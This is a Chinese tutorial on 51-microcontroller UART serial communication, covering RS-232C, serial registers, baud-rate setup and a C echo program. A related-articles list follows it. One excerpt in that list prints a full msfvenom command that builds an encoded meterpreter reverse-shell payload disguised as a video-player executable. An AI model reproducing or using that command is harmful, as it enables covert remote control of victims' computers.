单片机学习12-串口通信

目录

串口通信实验

通信的基本概念

串行通信与并行通信

异步通信与同步通信

单工、半双工与全双工通信

通信速率(比特率)

单片机串口介绍

串口通信简介

串口相关寄存器

串口工作方式

方式 0

 方式 1

方式 2 和方式 3

串口的使用方法

硬件设计

软件编程


串口通信实验

通信的基本概念

        我们知道 51 单片机不仅可以实现串口通信,还可以通过 IO 口模拟实现多种其他通信,比如 SPI、IIC 等,学习这些通信前,我们很有必要了解下通信的基本概念。通信的方式可以分为多种,按照数据传送方式可分为串行通信和并行通信。按照通信的数据同步方式,可分为异同通信和同步通信。按照数据的传输方向又可分为单工、半双工和全双工通信。下面我们就来简单介绍这几种通信方式。

串行通信与并行通信

(1)串行通信

        串行通信是指使用一条数据线,将数据一位一位地依次传输,每一位数据占据一个固定的时间长度。其只需要少数几条线就可以在系统间交换信息,特别适用于计算机与计算机、计算机与外设之间的远距离通信。如下图所示:

        串行通信的特点:传输线少,长距离传送时成本低,且可以利用电话网等现成的设备,但数据的传送控制比并行通信复杂。

(2)并行通信

        并行通信通常是将数据字节的各位用多条数据线同时进行传送,通常是 8位、16 位、32 位等数据一起传输。如下图所示:

     并行通信的特点:控制简单、传输速度快;由于传输线较多,长距离传送时成本高且接收方的各位同时接收存在困难,抗干扰能力差。

异步通信与同步通信

(1)异步通信

        异步通信是指通信的发送与接收设备使用各自的时钟控制数据的发送和接收过程。为使双方的收发协调,要求发送和接收设备的时钟尽可能一致。

        异步通信是以字符(构成的帧)为单位进行传输,字符与字符之间的间隙(时间间隔)是任意的,但每个字符中的各位是以固定的时间传送的,即字符之间不一定有“位间隔”的整数倍的关系,但同一字符内的各位之间的距离均为“ 位间隔”的整数倍。如下图所示:

 

        异步通信的特点:不要求收发双方时钟的严格一致,实现容易,设备开销较小,但每个字符要附加 2~3 位用于起止位,各帧之间还有间隔,因此传输效率不高。

(2)同步通信 ​

        同步通信时要建立发送方时钟对接收方时钟的直接控制,使双方达到完全同步。此时,传输数据的位之间的距离均为“位间隔”的整数倍,同时传送的字符间不留间隙,即保持位同步关系,也保持字符同步关系。发送方对接收方的同步可以通过两种方法实现。如下图所示:

 自同步采用同或方式将时钟和数据组合在一起。

单工、半双工与全双工通信

(1)单工通信 单工是指数据传输仅能沿一个方向,不能实现反向传输。如下图所示:

 

(2)半双工通信 半双工是指数据传输可以沿两个方向,但需要分时进行。如下图所示:

(3)全双工通信 全双工是指数据可以同时进行双向传输。如下图所示:

 

通信速率(比特率)

        衡量通信性能的一个非常重要的参数就是通信速率,通常以比特率(Bitrate)来表示。比特率是每秒钟传输二进制代码的位数,单位是:位/秒( bps)。如每秒钟传送 240 个字符,而每个字符格式包含 10 位(1 个起始位、1 个停止位、8 个数据位),这时的比特率为: ​

                                                       10 位×240 个/秒 = 2400 bps ​

        在后面会遇到一个“波特率”的概念,它表示每秒钟传输了多少个码元。而码元是通信信号调制的概念,通信中常用时间间隔相同的符号来表示一个二进制数字,这样的信号称为码元。如常见的通信传输中,用 0V 表示数字 0,5V 表示数字 1,那么一个码元可以表示两种状态 0 和 1,所以一个码元等于一个二进制比特位,此时波特率的大小与比特率一致;如果在通信传输中,有 0V、 2V、4V 以及 6V 分别表示二进制数 00、 01、 10、 11,那么每个码元可以表示四种状态,即两个二进制比特位,所以码元数是二进制比特位数的一半,这个时候的波特率为比特率的一半。由于很多常见的通信中一个码元都是表示两种状态,所以我们常常直接以波特率来表示比特率。

单片机串口介绍

串口通信简介

        串口通信(Serial Communication),是指外设和计算机间通过数据信号线、地线等按位进行传输数据的一种通信方式,属于串行通信方式。串口是一种接口标准,它规定了接口的电气标准,没有规定接口插件电缆以及使用的协议。

(1)接口标准

        串口通信的接口标准有很多,有 RS-232C、 RS-232、 RS-422A、 RS-485 等。常用的是 RS-232 和 RS-485。RS-232 其实是 RS-232C 的改进,原理是一样的。这里我们就以 RS-232C 接口进行解。

        RS-232C 是 EIA(美国电子工业协会)1969 年修订 RS-232C 标准。RS-232C定义了数据终端设备(DTE)与数据通信设备(DCE)之间的物理接口标准。

        RS-232C 接口规定使用 25 针连接器,简称 DB25,连接器的尺寸及每个插针的排列位置都有明确的定义,如下图所示:

        RS-232C 还有一种 9 针的非标准连接器接口,简称 DB9。串口通信使用的大多都是 DB9 接口。DB25 和 DB9 接头有公头和母头之分,其中带针状的接头是公头,而带孔状的接头是母头。9 针串口线的外观图如下图所示:

         从上图中可以看到公头和母头的管脚定义顺序是不一样,这一点需要特别注意。这些管脚都有什么作用呢? 9 针串口和 25 针串口常用管脚的功能说明如下图所示:(DB9和DB25脚位)

         在串口通信中,通常我们只使用 2、3、5 三个管脚,即 TXD、RXD、SGND,其他管脚功能大家看不明白也没关系。 ​

         RS-232C 对逻辑电平也做了规定,如下: ​

        在 TXD 和 RXD 数据线上: ​

        1.逻辑 1 为-3~-15V 的电压

        2.逻辑 0 为 3~15V 的电压 ​

        在 RTS、CTS、DSR、DTR 和 DCD 等控制线上: ​

         1.信号有效( ON 状态) 为 3~15V 的电压 ​

        2.信号无效( OFF 状态) 为-3~-15V 的电压 ​

         由此可见,RS-232C 是用正负电压来表示逻辑状态,与晶体管-晶体管逻辑集成电路(TTL)以高低电平表示逻辑状态的规定正好相反。而我们 51 单片机使用的就是 TTL 电平,所以要实现 51 单片机与计算机的串口通信,需要进行 TTL与 RS-232C 电平转换,通常使用的电平转换芯片是 MAX232。 ​

        在串口通信中通常 PC 机的 DB9 为公头,单片机上使用的串口 DB9 为母头,通过一根直通串口线进行相连。在 9 针串口线实物图即为直通型串口线,串口线(COM)母头连接计算机 DB9 的公头,串口线公头连接单片机上使用的 DB9 母头,这样就是将 2、3、5 管脚直接相连。如果你要实现两台计算机串口通信,那么就需要一根交叉串口线,将 2 对 3、3 对 2、5 对 5 连接,交叉串口线一 般两头都是母头。 ​

        串口通信中还需要注意的是,串口数据收发线要交叉连接,计算机的 TXD要对应单片机的 RXD,计算机的 RXD 要对应单片机的 TXD,并且共 GND,如下图:

         在计算机与单片机进行串口通信时,使用的不是直通线 吗,这时候怎么让 TXD 与 RXD 交叉连接?

        前面我们说了单片机处理的是 TTL 电平,需要使用 RS232 电平转换芯片,将 RS232 电平转换芯片串行数据输出管 脚交叉连接在 DB9 母头上即可,本章后面硬件设计部分会介绍。

(2)通信协议

        RS232 的通信协议比较简单,通常遵循 96-N-8-1 格式。

        “96”表示的是通信波特率为 9600。串口通信中通常使用的是异步串口通信,即没有时钟线,所以两个设备要通信,必须要保持一致的波特率,当然,波特率常用值还有 4800、 115200 等。         “N”表示的是无校验位,由于串口通信相对更容易受到外部干扰导致传输数据出现偏差,可以在传输过程加上校验位来解决这个问题。校验方法有奇校验(odd)、偶校验(even)、0 校验(space)、1 校验(mark)以及无校验(noparity)。具体的介绍,大家可以百度串口通信了解。

         “8”表示的是数据位数为 8 位,其数据格式在前面介绍异步通信中已讲过。当然数据位数还可以为 5、6、7 位长度。

        “1”表示的是 1 位停止位,串口通讯的一个数据包从起始信号开始,直到停止信号结束。数据包的起始信号由一个逻辑 0 的数据位表示,而数据包的停止信号可由 0.5、1、1.5 或 2 个逻辑 1 的数据位表示,只要双方约定一致即可。

(3)串口内部结构

         上图中右边的 TXD 和 RXD 为单片机 IO 口,TXD 对应的是 P3.1 管脚,RXD 对应的是 P3.0 管脚。其内部工作方式在后面小节会介绍。

串口相关寄存器

(1)串口控制寄存器 SCON

 SM0 和 SM1 为工作方式选择位:(fosc为外部晶振频率)

         SM2:多机通信控制位,主要用于方式 2 和方式 3。当 SM2=1 时可以利用收到的 RB8 来控制是否激活 RI(RB8=0 时不激活 RI,收到的信息丢弃;RB8=1 时收到的数据进入 SBUF,并激活 RI,进而在中断服务中将数据从 SBUF 读走)。当SM2=0 时,不论收到的 RB8 为 0 和 1,均可以使收到的数据进入 SBUF,并激活 RI(即此时 RB8 不具有控制 RI 激活的功能)。通过控制 SM2,可以实现多机通信。

        REN:允许串行接收位。由软件置 REN=1,则启动串行口接收数据;若软件置REN=0,则禁止接收。

        TB8:在方式 2 或方式 3 中,是发送数据的第 9 位,可以用软件规定其作用。可以用作数据的奇偶校验位,或在多机通信中,作为地址帧/数据帧的标志位。在方式 0 和方式 1 中,该位未用到。

        RB8:在方式 2 或方式 3 中,是接收到数据的第 9 位,作为奇偶校验位或地址帧/数据帧的标志位。在方式 1 时,若 SM2=0,则 RB8 是接收到的停止位。

        TI:发送中断标志位。在方式 0 时,当串行发送第 8 位数据结束时,或在其它方式,串行发送停止位的开始时,由内部硬件使 TI 置 1,向 CPU 发中断申请。在中断服务程序中,必须用软件将其清 0,取消此中断申请。

        RI:接收中断标志位。在方式 0 时,当串行接收第 8 位数据结束时,或在其它方式,串行接收停止位的中间时,由内部硬件使 RI 置 1,向 CPU 发中断申请。也必须在中断服务程序中,用软件将其清 0,取消此中断申请。

(2)电源控制寄存器 PCON

         SMOD:波特率倍增位。在串口方式 1、方式 2、方式 3 时,波特率与 SMOD 有关,当 SMOD=1 时,波特率提高一倍。复位时,SMOD=0。

串口工作方式

        前面在介绍寄存器时已经知道了 51 单片机串口的几种工作方式,下面分别来对它介绍。

方式 0

        方式 0 时,串行口为同步移位寄存器的输入输出方式。主要用于扩展并行输入或输出口。数据由 RXD(P3.0)引脚输入或输出,同步移位脉冲由 TXD(P3.1)引脚输出。发送和接收均为 8 位数据,低位在先,高位在后。波特率固定为fosc/12。对应的输入输出时序图如下所示:

​ ①方式 0 输出

 ②方式 0 输入

 方式 1

        方式 1 是 10 位数据的异步通信口。TXD 为数据发送引脚,RXD 为数据接收引脚,传送一帧数据的格式如下所示。其中 1 位起始位,8 位数据位,1 位停止位。

 

对应的输入输出时序图如下所示: ​

①方式 1 输出

 ②方式 1 输入

         用软件置 REN 为 1 时,接收器以所选择波特率的 16 倍速率采样 RXD 引脚电平,检测到 RXD 引脚输入电平发生负跳变时,则说明起始位有效,将其移入输入移位寄存器,并开始接收这一帧信息的其余位。接收过程中,数据从输入移位寄存器右边移入,起始位移至输入移位寄存器最左边时,控制电路进行最后一次移位。当 RI=0,且 SM2=0(或接收到的停止位为 1)时,将接收到的 9 位数据的前8 位数据装入接收 SBUF,第 9 位(停止位)进入 RB8,并置 RI=1,向 CPU 请求中断。

方式 2 和方式 3

        方式 2 或方式 3 时为 11 位数据的异步通信口。TXD 为数据发送引脚,RXD 为数据接收引脚。其数据格式如下所示:

 对应的输入输出时序图如下所示:

①方式 2、方式 3 输出

         发送开始时,先把起始位 0 输出到 TXD 引脚,然后发送移位寄存器的输出位(D0)到 TXD 引脚。每一个移位脉冲都使输出移位寄存器的各位右移一位,并由TXD 引脚输出。第一次移位时,停止位“1”移入输出移位寄存器的第 9 位上,以后每次移位,左边都移入 0。当停止位移至输出位时,左边其余位全为 0,检测电路检测到这一条件时,使控制电路进行最后一次移位,并置 TI=1,向 CPU请求中断。

②方式 2、方式 3 输入

         接收时,数据从右边移入输入移位寄存器,在起始位 0 移到最左边时,控制电路进行最后一次移位。当 RI=0,且 SM2=0(或接收到的第 9 位数据为 1)时,接收到的数据装入接收缓冲器 SBUF 和 RB8(接收数据的第 9 位),置 RI=1,向CPU 请求中断。如果条件不满足,则数据丢失,且不置位 RI,继续搜索 RXD 引脚的负跳变。

串口的使用方法

(1)如何计算波特率

        在学习 51 单片机串口时,非常重要的一点是学会如何计算波特率。以下列出了几种方式下波特率的计算公式:

        方式 0 的波特率 = fosc/12

        方式 2 的波特率 =(2SMOD/64)· fosc

        方式 1 的波特率 =(2SMOD/32)·(T1 溢出率)

        方式 3 的波特率 =(2SMOD/32)·(T1 溢出率)

        其中 T1 溢出率 = fosc /{12×[256 -(TH1)]},当然还可以使用资料“\5-- 开发工具\4-常用辅助开发软件\51 波特率初值设定.exe”内附带的小工具自动生成波特率。其使用方法如下:

        ①双击打开该工具,其界面如下:

         ②选择定时器工作方式,输入开发板上使用的晶振频率大小,选择所要使用的波特率,SMOD 为是否倍频,这个在前面介绍寄存器时说过,下面的误差大小可以反映出通信时是否出现乱码。在使用串口通信时,定时器 1 工作方式为 2,串口工作方式为 1,以开发板晶振是 11.0592Mh 为例,假如晶振频率是 12M,那么在生成的波特率就会有误差而导致通信出错。为什么替换可以从误差值反映出来。在本章实验中波特率选择 9600,使用 SMOD,即值为 1,点击确定后即会自动生成定时/计数器 THx 的值,如下所示:

         从上图可知,使用 11.0592M 晶振时,误差为 0。我们对比下当外部晶振使用12Mh 时,波特率误差多大,如下所示:

         从上图可知,当使用 12M 晶振时,波特率误差有 6.98%,是比较大的,会导致在通信过程中出现乱码等错误信息。这是我们不希望看到的,所以再次说明下,在做串口通信实验时,一定要确认外部晶振是否是 11.0592M。对于波特率的计算方法大家要知道,开发中建议大家使用小工具,它会给你带来很多便利。 ​

(2)串口初始化步骤

如何使用串口,大家可以按照以下几个步骤配置。 ​

①确定 T1 的工作方式(TMOD 寄存器); ​

②确定串口工作方式(SCON 寄存器); ​

③计算 T1 的初值(设定波特率),装载 TH1、TL1;

​ ④启动 T1(TCON 中的 TR1 位); ​

⑤如果使用中断,需开启串口中断控制位(IE 寄存器)。 ​

        例如:设置串口为工作方式 1、波特率为 9600、波特率加倍、使用中断。其配置程序如下

/**************************************************************************
 * 函 数 名 : uart_init
 * 函数功能 : 串口通信中断配置函数,通过设置 TH 和 TL 即可确定定时时间
 * 输 入 : baud:波特率对应的 TH、TL 装载值
 * 输 出 : 无
 **************************************************************************/
 void uart_init(u8 baud)
 {
 TMOD|=0X20; //设置计数器工作方式 2
 SCON=0X50; //设置为工作方式 1
 PCON=0X80; //波特率加倍
 TH1=baud; //计数器初始值设置
 TL1=baud;
 ES=1; //打开接收中断
 EA=1; //打开总中断
 TR1=1; //打开计数器
 }

在主函数中调用该函数并传入 OXFA 值即可,如下:

 uart_init(0XFA);//波特率为 9600

硬件设计

        开发板上板载一个 USB 转 TTL 模块和一个 RS232 模块,这两个模块都可进行串口通信。其硬件电路如下所示:

①USB 转 TTL 模块

 

        从上图中可以看出,通过 CH340 芯片把 51 单片机的串口与 PC 机的 USB 口进行连接,不仅可以实现程序的烧入,还可实现串口通信功能。根据前面介绍,串口通信需将数据收发管脚交叉连接,所以可以看到在 CH340 芯片的 2 和 3 脚已做处理。电路中其他部分是自动下载电路部分,目的是控制单片机的电源,无需冷启动。使用 USB 转串口芯片,免去了一根串口线,使用普通 USB 数据线(支持安卓手机数据线)就可以进行串口通信。

        从上图中可以看到 CH340 的 2、3 脚串口并非直接连接到单片机串口,而是连接在 J39 端子上,这样就把 CH340 的串口与单片机串口独立出来,为什么不直接连接而要使用这个 J39 端子呢?这是方便用户可以使用开发板上的 USB 转 TTL模块(也就是 CH340 转串口模块)做一些串口类模块的调试,比如:WIFI、蓝牙、GPS、GPRS 等,直接利用 PC 上位机来调试模块。同时也方便用户使用板载 USB转 TTL 模块给其它类型单片机下载程序。

        如果使用黄色跳线帽将 J39 端子的 1、3 短接,2、4 短接,那么 CH340 串口与单片机串口是连接一起的,此时即可实现程序的下载或串口通信。如果使用黄色跳线帽将 J39 端子的 3、5 短接,4、6 短接,那么 RS232 模块串口与单片机串口是连接一起的,此时可通过 RS232 模块下载程序或串口通信。

②RS232 模块

A2-A4

 A5

         此电路是按照 RS232 接口标准搭建,使用了一个 DB9 母头,电平转换芯片使用的是 MAX232。如使用该模块进行串口通信,可使用一根 USB 转 RS232 线,一端与 DB9 母头连接,另一头与 PC 端 USB 口连接,同时将 J39 端子黄色跳线帽的3、5 短接,4、6 短接,那么 RS232 模块串口与单片机串口是连接一起的,此时可通过 RS232 模块下载程序或串口通信。还要注意:RS232 接口是不带电源的,因此需要给开发板额外供电。

软件编程

 /**********************************************************************************
 ****
 实验名称:串口通信实验
 接线说明:
 实验现象:下载程序后,当串口助手发送数据给单片机,单片机原封不动转发给串口助手显示
 注意事项:使用黄色跳线帽将 CH340 旁的 J39 端子的 UTX 和 P30 短接,URX 和 P31 短接,出厂默
 认已短接好
 ***********************************************************************************
 ****/
 #include"reg52.h"
 ​
 typedef unsigned int u16;
 typedef unsigned char u8;
 ​
 void delay_1ms(u16 ms)
 {
     u16 i,j;
     for(i=ms;i>0;i--)
         for(j=110;j>0;j--);
 }
 ​
 void delay_10us(u16 ten_us)
 {
     while(ten_us--);
 }
 /*******************************************************************************
 * 函 数 名 : uart_init
 * 函数功能 : 串口通信中断配置函数,通过设置 TH 和 TL 即可确定定时时间
 * 输 入 : baud:波特率对应的 TH、TL 装载值
 * 输 出 : 无
 *******************************************************************************/
 void uart_init(u8 baud)
 { 
 TMOD|=0X20; //设置计数器工作方式 2
 SCON=0X50; //设置为工作方式 1
 PCON=0X80; //波特率加倍
 TH1=baud; //计数器初始值设置
 TL1=baud;
 ES=1; //打开接收中断
 EA=1; //打开总中断
 TR1=1; //打开计数器
 } 
 ​
 void main ()
 { 
 uart_init(0XFA);//波特率为 9600
 while(1)
 { 
 } 
 } 
 void uart() interrupt 4 //串口通信中断函数
 {
 u8 rec_data; ;
 RI=0; ; //清除接收中断标志位
 rec_data=SBUF;//存储接收到的数据
 SBUF=rec_data;//将接收到的数据放入到发送寄存器
 while (!TI );//等待发送数据完成
 TI=0;//清除发送完成标志位
 } 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/33185.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Spring相关API

⭐作者介绍:大二本科网络工程专业在读,持续学习Java,努力输出优质文章 ⭐作者主页:逐梦苍穹 ⭐所属专栏:JavaEE、Spring SpringAPI 1、继承体系2、 getBean() 1、继承体系 上述继承体系中的主要类和接口包括&#xff1…

笔记本安装双系统ubuntu时踩的坑——戴尔

如果你遇到以下的这些问题,不要直接装了,无解!!! 建议看我另一篇教程,把硬盘取出来在另外的电脑上装好系统再放回去,这样嘎嘎快。 移动硬盘中安装Ubuntu 20.04系统——立省99%的问题_放风筝的…

插入排序——希尔排序

希尔排序其实就是一种插入排序,实际上就是通过直接插入排序一步步改进优化而实现的。所以在了解希尔排序之前要明白插入排序的实现原理。 插入排序 其实我觉得插入排序也可以叫做摸牌排序,就是从第二张牌开始处理,将摸到的牌按照合适的顺序插…

解决 An attempt was made to call a method that does not exist. 问题详解

哈喽大家好,我是阿Q。今天在开发代码的过程中,由于手抖,不知道引入了什么包依赖,导致项目启动一直报错,特写本文来记录下解决问题的经过。 文章目录 问题描述报错信息如下报错描述 解决方法总结 有想赚点外块|技术交流…

苹果Vision Pro手势+眼球融合交互的奥秘

毫无疑问,Vision Pro在眼球追踪手势的融合交互体验上,给AR/VR头戴设备带来了新突破,在用户体验上的提升非常明显。 ​那么,为什么Vision Pro上这一功能会被如此值得关注呢?为了弄清楚,我们先来看看主流VR设…

原来,这就是铁路隧道R型变压器的工作真相!

铁路作为我们日常交通的重要出行设备,其安全稳定性极为重要。高速铁路具有行车速度快、行车密度高、负荷分布密集、自动化程度高、要求安全、正点运行的特点。铁路隧道对电力系统的供电可靠性也有非常严格的要求。铁路隧道R型变压器在铁路隧道供电系统中的主要功能是…

Upload靶场通关笔记

文章目录 一、Pass-011.抓包上传2.获取上传路径3.工具验证 二、Pass-02三、Pass-031.使用httpd.conf自定义后缀2.提取上传文件名3.工具测试4.注意点四、Pass-041.上传.htaccess2.上传图片3.工具测试 五、Pass-05六、Pass-061.空格.号绕过2.工具测试 七、Pass-07八、Pass-081.特…

NoSQL之Redis优化(一)

Redis的高可用 一、Redis 持久化RDB 持久化AOF 持久化RDB和AOF的优缺点 二、Redis 性能管理内存碎片如何产生的?解决碎片率大的问题:内存使用率内回收key 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时…

8.6 socket套接字及TCP的实现框架

socket套接字 目录 socket套接字 体系结构的两种形式 几种常见的网络编程接口 socket套接字 socket常用API介绍 socket套接字 三元组【IP地址,端口,协议】 地址族结构体 套接字类型 TCP通信的实现过程 体系结构的两种形式 网络的体系结构 (N…

TinyViT: 一种高效的蒸馏方法

目录 背景方法大意快速预训练蒸馏(Fast Pretraining Distillation, FPD)如何实现快速三个细节深入理解FPD 模型架构训练trick预训练参数配置(Imagenet21k-pretraining)finetuning 参数配置(Imagenet-1k) 消融实验**Q: 数据是否越多…

window10 sourceTree 更新系统后打不开解决办法

C:\Users\你的用户名\AppData\Local\Atlassian\SourceTree.exe_Url_j5xkjtpcegcqqaaahn4rsx42sj42zy5a\版本号这个目录下 删除文件Composition.cache (在启动即可) 打开sourcetree后成功生成了我们删除的 Composition.cache 文件。

论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

笔记整理:李雅新,天津大学硕士,研究方向为知识图谱补全 链接:https://dl.acm.org/doi/10.1145/3539597.3570483 动机 知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示&a…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.5 对比实验3.5.1 HALCON平台下的Alexnet对比实验3.5.2 HALCON平台下的Resnet-50对比实验3.5.3 HALCON…

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题 最近组装了一台高配置的新电脑,装好了各种驱动、软件等。发现系统开机后卡顿一分钟左右(加载应用配置等),但是我的系统启动项明明就没多少,不应该是这样的情况&…

人工智能(AI)在金融行业的应用

人工智能(AI)技术在金融行业的应用日益广泛,为金融机构提供了更高效、更智能的解决方案。以下和大家分享AI在金融行业的一些主要应用,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司&#xff0…

Android 13(T) - binder阅读(5)- 使用ServiceManager注册服务2

上一篇笔记我们看到了binder_transaction,这个方法很长,这一篇我们将把这个方法拆分开来看binder_transaction做了什么,从而学习binder是如何跨进程通信的。 1 binder_transaction static void binder_transaction(struct binder_proc *proc…

Docker-DockerFile制定镜像

本文已收录于专栏 《中间件合集》 目录 概念说明DockerDockerFile 提供服务指令解析应用实例常用命令总结提升 概念说明 Docker &emspDocker是一种开源的容器化平台,它可以将应用程序及其依赖项打包到一个独立的、可移植的容器中,以实现快速部署和跨…

【0212】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 2)

文章目录 1. 回顾2. 密码校验通过3. 密码校验失败上一文:【0211】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 1) 1. 回顾 在上一节内容中,讲解了Backend对于接收到来自frontend的字符串明文密码,和来自于来自pg_auth…

【网络原理】TCP/IP协议五层模型

🥊作者:一只爱打拳的程序猿,Java领域新星创作者,CSDN、阿里云社区优质创作者。 🤼专栏收录于:计算机网络原理 本期讲解协议、OSI七层模型、TCP/IP五层模型、网络设备所在的分层、数据的封装和分佣。 目录 …